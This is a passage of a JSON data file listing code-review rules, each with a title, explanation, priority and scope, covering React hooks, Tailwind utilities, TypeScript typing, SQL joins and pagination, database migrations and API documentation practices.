Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Disambiguate bulk operations from single-item ones in the name","rule":"When a deleteX exists, name the bulk variant clearly (deleteAllX / clearAllX) to avoid confusion.","apiRule":"When a deleteX exists, name the bulk variant clearly (deleteAllX / clearAllX) to avoid confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Account for the cleared/null case when validating selections","rule":"When a selection can be unselected (set to null), validation/error clearing must handle that case, not just the selected case.","apiRule":"When a selection can be unselected (set to null), validation/error clearing must handle that case, not just the selected case. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Trim redundant SVG attributes carried over from export tools","rule":"Vector tools often emit fill-rule/clip-rule defensively; for simple shapes they're unneeded and can be removed (verify the icon still renders).","apiRule":"Vector tools often emit fill-rule/clip-rule defensively; for simple shapes they're unneeded and can be removed (verify the icon still renders). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name interfaces and files after the domain they represent","rule":"Relate a response interface to its source service by interface or file name so its origin is obvious.","apiRule":"Relate a response interface to its source service by interface or file name so its origin is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Merge paired conditional classes into a single expression","rule":"Combine two clsx branches that key off the same condition into one branch with both classes.","apiRule":"Combine two clsx branches that key off the same condition into one branch with both classes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the color/opacity shorthand instead of separate opacity utilities","rule":"Combine color and opacity into one utility (text-white/50) rather than text-white plus text-opacity-50.","apiRule":"Combine color and opacity into one utility (text-white/50) rather than text-white plus text-opacity-50. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use the size-* shorthand for equal width and height","rule":"Replace paired h-N w-N utilities with the size-N shorthand.","apiRule":"Replace paired h-N w-N utilities with the size-N shorthand. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Color icons via a fill prop instead of CSS path targeting","rule":"Prefer passing fill/color to an icon component over writing CSS that reaches into its internal <path> elements.","apiRule":"Prefer passing fill/color to an icon component over writing CSS that reaches into its internal <path> elements. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Write identifiers in English","rule":"Keep variable, function, and constant names in English even when the displayed UI text is in another language.","apiRule":"Keep variable, function, and constant names in English even when the displayed UI text is in another language. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Derive iteration count from the data, not a duplicated magic number","rule":"Map over the actual array instead of Array.from({length: N}) indexing into it, so the two can't drift out of sync.","apiRule":"Map over the actual array instead of Array.from({length: N}) indexing into it, so the two can't drift out of sync. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Render a context via its Provider with a value prop","rule":"A context object is not itself a component; wrap children in Context.Provider and pass value.","apiRule":"A context object is not itself a component; wrap children in Context.Provider and pass value. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Prefer stable APIs over experimental ones for compatibility","rule":"Use the established hook (e.g. useContext) instead of an experimental API (e.g. React's use) unless the experimental behavior is genuinely required.","apiRule":"Use the established hook (e.g. useContext) instead of an experimental API (e.g. React's use) unless the experimental behavior is genuinely required. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use plain functions instead of a class with only static members","rule":"A class whose members are all static adds no value; export named functions or a module object instead.","apiRule":"A class whose members are all static adds no value; export named functions or a module object instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep word order consistent between related class and method names","rule":"Method names should follow the same ordering of domain terms as their class to avoid confusion.","apiRule":"Method names should follow the same ordering of domain terms as their class to avoid confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name methods after what they actually return","rule":"A method's name should reflect its return value; getX should return an X, not some unrelated shape.","apiRule":"A method's name should reflect its return value; getX should return an X, not some unrelated shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Skip attaching listeners when their feature flag is off","rule":"Conditionally attaching an event listener (not a hook) inside useEffect avoids needless work when the behavior is disabled.","apiRule":"Conditionally attaching an event listener (not a hook) inside useEffect avoids needless work when the behavior is disabled. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Cover both touch and pointer devices when listening for outside taps","rule":"Use touchstart for touch devices and mousedown for pointer devices (selected via a coarse-pointer media query) so dismiss-on-outside works everywhere without firing twice.","apiRule":"Use touchstart for touch devices and mousedown for pointer devices (selected via a coarse-pointer media query) so dismiss-on-outside works everywhere without firing twice. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use mousedown rather than click for outside-click detection","rule":"For dismiss-on-outside-click behavior, listen for mousedown to avoid the delay click incurs while waiting to disambiguate from dblclick.","apiRule":"For dismiss-on-outside-click behavior, listen for mousedown to avoid the delay click incurs while waiting to disambiguate from dblclick. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not declare a runtime constant when only its type is used","rule":"If a value's literal is never read at runtime and only its type is referenced, define a type instead of exporting a constant.","apiRule":"If a value's literal is never read at runtime and only its type is referenced, define a type instead of exporting a constant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit CSS properties that already match their defaults","rule":"Drop declarations that just restate the default (e.g. flex-direction: row, transparent backgrounds, full-width on block elements) to reduce noise.","apiRule":"Drop declarations that just restate the default (e.g. flex-direction: row, transparent backgrounds, full-width on block elements) to reduce noise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Transform data with map and spread, not by cloning and mutating","rule":"Avoid deep-cloning (e.g. JSON.parse(JSON.stringify(arr))) just to mutate; use .map() returning new objects with spread to derive changed copies without touching the original.","apiRule":"Avoid deep-cloning (e.g. JSON.parse(JSON.stringify(arr))) just to mutate; use .map() returning new objects with spread to derive changed copies without touching the original. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set inherited text color on the element that sets the background","rule":"Put text color on the container that defines the background (since links/children inherit color) rather than repeating it on each child or relying on hover overrides.","apiRule":"Put text color on the container that defines the background (since links/children inherit color) rather than repeating it on each child or relying on hover overrides. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use semantic HTML elements instead of styled divs","rule":"Reach for the semantic element (e.g. <hr> for a thematic divider) rather than a div styled to look like one.","apiRule":"Reach for the semantic element (e.g. <hr> for a thematic divider) rather than a div styled to look like one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name and locate tests after the unit under test","rule":"Put a test next to the file it covers and name it after that unit, rather than under an unrelated entry/feature name.","apiRule":"Put a test next to the file it covers and name it after that unit, rather than under an unrelated entry/feature name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Catch errors as unknown and narrow before using them","rule":"Type catch clause errors as unknown (or leave untyped) and narrow with instanceof Error, instead of typing them as any, since anything can be thrown.","apiRule":"Type catch clause errors as unknown (or leave untyped) and narrow with instanceof Error, instead of typing them as any, since anything can be thrown. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Await response.json() before returning the parsed body","rule":"response.json() returns a promise; await it before assigning/returning so callers get data, not a pending promise.","apiRule":"response.json() returns a promise; await it before assigning/returning so callers get data, not a pending promise. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't write logically redundant or impossible condition combinations","rule":"Review combined conditions for contradictions (e.g. value === 'null' && value.length < 1) and simplify to what you actually mean.","apiRule":"Review combined conditions for contradictions (e.g. value === 'null' && value.length < 1) and simplify to what you actually mean. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use lowercase primitive types, not wrapper-object constructors, for type annotations","rule":"Annotate values with primitive types (string, number, boolean) rather than the boxed constructors (String, Number, Boolean) to avoid subtle type mismatches and confusion.","apiRule":"Annotate values with primitive types (string, number, boolean) rather than the boxed constructors (String, Number, Boolean) to avoid subtle type mismatches and confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Always provide a generic font-family fallback","rule":"End every font-family stack with a generic fallback (e.g. sans-serif) so text renders sensibly before the custom font loads or if it fails.","apiRule":"End every font-family stack with a generic fallback (e.g. sans-serif) so text renders sensibly before the custom font loads or if it fails. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Log errors with console.error, not console.log","rule":"Use console.error (or console.warn) for failure paths so errors surface correctly in tooling, instead of console.log.","apiRule":"Use console.error (or console.warn) for failure paths so errors surface correctly in tooling, instead of console.log. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass an empty dependency array for effects that should run once on mount","rule":"An effect meant to run only on mount (e.g. adding a one-time listener) must declare an empty deps array, otherwise it re-runs on every render.","apiRule":"An effect meant to run only on mount (e.g. adding a one-time listener) must declare an empty deps array, otherwise it re-runs on every render. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove dependencies you no longer use","rule":"Delete packages added for experiments or removed features from the manifest so the dependency tree stays lean and accurate.","apiRule":"Delete packages added for experiments or removed features from the manifest so the dependency tree stays lean and accurate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Expose composition props instead of baking variant-specific markup into a component","rule":"For reusable components, accept slot/adornment props (e.g. startAdornment/endAdornment) so parents control variant-specific UI, rather than hard-coding it inside.","apiRule":"For reusable components, accept slot/adornment props (e.g. startAdornment/endAdornment) so parents control variant-specific UI, rather than hard-coding it inside. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Register event listeners in useEffect and return a cleanup function","rule":"Attach global/window event listeners inside useEffect and remove them in the returned cleanup to avoid leaks and duplicate handlers.","apiRule":"Attach global/window event listeners inside useEffect and remove them in the returned cleanup to avoid leaks and duplicate handlers. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Override recommended lint rules deliberately, not by disabling wholesale","rule":"When a recommended lint rule conflicts with a valid pattern, scope the override narrowly (or downgrade to warn) rather than turning it fully off and losing all coverage.","apiRule":"When a recommended lint rule conflicts with a valid pattern, scope the override narrowly (or downgrade to warn) rather than turning it fully off and losing all coverage. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Over-fetch when later filtering may reduce the result set below the target","rule":"If you fetch N items and then filter some out (e.g. dedup against another section), request more than N so the visible count still meets the requirement.","apiRule":"If you fetch N items and then filter some out (e.g. dedup against another section), request more than N so the visible count still meets the requirement. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use one sufficient mechanism instead of stacking redundant ones","rule":"Don't add a second overlapping implementation (e.g. a scroll listener alongside an IntersectionObserver) when one already covers the use case; the extra mechanism is overkill and adds complexity.","apiRule":"Don't add a second overlapping implementation (e.g. a scroll listener alongside an IntersectionObserver) when one already covers the use case; the extra mechanism is overkill and adds complexity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove stray semicolons inside JSX","rule":"A semicolon after an expression in JSX renders as a literal character on the page; remove it.","apiRule":"A semicolon after an expression in JSX renders as a literal character on the page; remove it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Extract repeated cross-component logic into context and helper functions","rule":"When the same stateful logic appears in multiple components, lift it into a shared context plus a wrapper helper instead of re-implementing it each place.","apiRule":"When the same stateful logic appears in multiple components, lift it into a shared context plus a wrapper helper instead of re-implementing it each place. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Write valid, well-formed markup in embedded HTML strings","rule":"When embedding HTML in content/strings, quote attributes and close tags correctly; malformed anchors and unquoted attributes break rendering.","apiRule":"When embedding HTML in content/strings, quote attributes and close tags correctly; malformed anchors and unquoted attributes break rendering. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Let reusable item components span full width and size them in the parent","rule":"Keep single-item components layout-neutral (full width) and apply grid/width sizing in the parent that maps over them, so the item stays reusable in different layouts.","apiRule":"Keep single-item components layout-neutral (full width) and apply grid/width sizing in the parent that maps over them, so the item stays reusable in different layouts. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name config keys after their specific scope, not a generic label","rule":"Give configuration keys descriptive, scope-qualified names so multiple consumers don't collide on an ambiguous generic key.","apiRule":"Give configuration keys descriptive, scope-qualified names so multiple consumers don't collide on an ambiguous generic key. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't overwrite a shared default to serve one specific case","rule":"Leave generic/default values (titles, metadata, configs) intact since they apply to many consumers; pass case-specific overrides at the point of use instead of mutating the default.","apiRule":"Leave generic/default values (titles, metadata, configs) intact since they apply to many consumers; pass case-specific overrides at the point of use instead of mutating the default. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use one handler with graceful fallback instead of duplicating UI per device","rule":"When a native capability may be unavailable (e.g. navigator.share), call it and fall back to a custom UI on failure rather than branching into duplicated components and handlers per viewport.","apiRule":"When a native capability may be unavailable (e.g. navigator.share), call it and fall back to a custom UI on failure rather than branching into duplicated components and handlers per viewport. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Skip stale tests explicitly rather than deleting or commenting them","rule":"When a test is temporarily out of date, mark it with it.skip (and a note) so it stays visible and is restored later, instead of removing or commenting it out.","apiRule":"When a test is temporarily out of date, mark it with it.skip (and a note) so it stays visible and is restored later, instead of removing or commenting it out. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Exclude empty-string and null sentinel keys when joining","rule":"When a join key column allows '' or NULL as 'unknown', exclude those values in the ON clause so unknown rows don't all match each other and corrupt results.","apiRule":"When a join key column allows '' or NULL as 'unknown', exclude those values in the ON clause so unknown rows don't all match each other and corrupt results. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use the HTTP exception that matches the failure semantics","rule":"A duplicate-resource error should be a 409 Conflict, not a generic 400 Bad Request; pick the status code that reflects what actually went wrong.","apiRule":"A duplicate-resource error should be a 409 Conflict, not a generic 400 Bad Request; pick the status code that reflects what actually went wrong. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer purpose-built methods over generic configurable parameters","rule":"Rather than adding a flexible searchBy/columns parameter for a single current need, expose a focused method (e.g. searchInstrument) and add another when a genuinely different need appears — YAGNI.","apiRule":"Rather than adding a flexible searchBy/columns parameter for a single current need, expose a focused method (e.g. searchInstrument) and add another when a genuinely different need appears — YAGNI. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not wrap LIKE in LOWER() when the collation is already case-insensitive","rule":"MySQL's LIKE is case-insensitive by default under typical collations; wrapping both sides in LOWER() adds complexity and can defeat indexes for no benefit.","apiRule":"MySQL's LIKE is case-insensitive by default under typical collations; wrapping both sides in LOWER() adds complexity and can defeat indexes for no benefit. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Simplify chunking loops by stepping the index by chunk size","rule":"Instead of computing iteration counts with Number.isInteger/Math.ceil and index math, map to the needed values up front and step a for-loop by the chunk size with slice.","apiRule":"Instead of computing iteration counts with Number.isInteger/Math.ceil and index math, map to the needed values up front and step a for-loop by the chunk size with slice. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not cache error responses such as 404s","rule":"Set caching headers only on successful responses; error responses (e.g. 404) should not be cached so transient or recoverable failures aren't served from cache.","apiRule":"Set caching headers only on successful responses; error responses (e.g. 404) should not be cached so transient or recoverable failures aren't served from cache. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Run raw queries through a shared database/data service","rule":"Centralize raw SQL execution behind a database service rather than scattering direct dataSource/repository.query calls, so query handling stays consistent.","apiRule":"Centralize raw SQL execution behind a database service rather than scattering direct dataSource/repository.query calls, so query handling stays consistent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not access another module's repository directly; go through its service","rule":"Injecting another module's repository couples modules to each other's data layer; call that module's service instead to preserve encapsulation.","apiRule":"Injecting another module's repository couples modules to each other's data layer; call that module's service instead to preserve encapsulation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Write data migrations against deterministic business keys, not auto-increment ids","rule":"Migrations that hardcode auto-increment ids break on reseed; look the rows up by a stable business key (e.g. isin) and update via that instead.","apiRule":"Migrations that hardcode auto-increment ids break on reseed; look the rows up by a stable business key (e.g. isin) and update via that instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Generate a migration whenever entity schema changes","rule":"Renaming or altering entity columns requires a corresponding generated migration so the database stays in sync with the model definitions.","apiRule":"Renaming or altering entity columns requires a corresponding generated migration so the database stays in sync with the model definitions. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Define path aliases without redundant repeated segments","rule":"Set up TS/bundler path aliases so imports read cleanly (e.g. @libs/s3) rather than producing repetitive paths like s3/s3.","apiRule":"Set up TS/bundler path aliases so imports read cleanly (e.g. @libs/s3) rather than producing repetitive paths like s3/s3. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Document error responses and add examples in API schemas","rule":"Endpoints should declare their error responses (e.g. ApiNotFoundResponse) with a description and example payload, not only the success case.","apiRule":"Endpoints should declare their error responses (e.g. ApiNotFoundResponse) with a description and example payload, not only the success case. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Mark optional query params as optional in API docs","rule":"When a request parameter is optional in validation, reflect that in the OpenAPI/Swagger schema (e.g. ApiPropertyOptional) so generated docs match actual behavior.","apiRule":"When a request parameter is optional in validation, reflect that in the OpenAPI/Swagger schema (e.g. ApiPropertyOptional) so generated docs match actual behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Decouple resource-link building behind a dedicated service method","rule":"Instead of inlining URL/key construction at each call site, expose a method on the owning service (e.g. createLink) so the logic lives in one place and can change later.","apiRule":"Instead of inlining URL/key construction at each call site, expose a method on the owning service (e.g. createLink) so the logic lives in one place and can change later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add a deterministic tiebreaker column to paginated ORDER BY","rule":"Sorting only by a non-unique column makes pagination non-deterministic across pages; append a unique column (e.g. id) as a fallback sort key.","apiRule":"Sorting only by a non-unique column makes pagination non-deterministic across pages; append a unique column (e.g. id) as a fallback sort key. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Throttle large batches of concurrent promises with a pool","rule":"When fanning out many async operations, cap concurrency with a promise pool instead of an unbounded Promise.all that can overwhelm the downstream system.","apiRule":"When fanning out many async operations, cap concurrency with a promise pool instead of an unbounded Promise.all that can overwhelm the downstream system. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Inject collaborators as services instead of instantiating them inline","rule":"External clients (HTTP, DB, queues) should be provided through dependency injection rather than created directly inside a class, so they can be swapped and mocked.","apiRule":"External clients (HTTP, DB, queues) should be provided through dependency injection rather than created directly inside a class, so they can be swapped 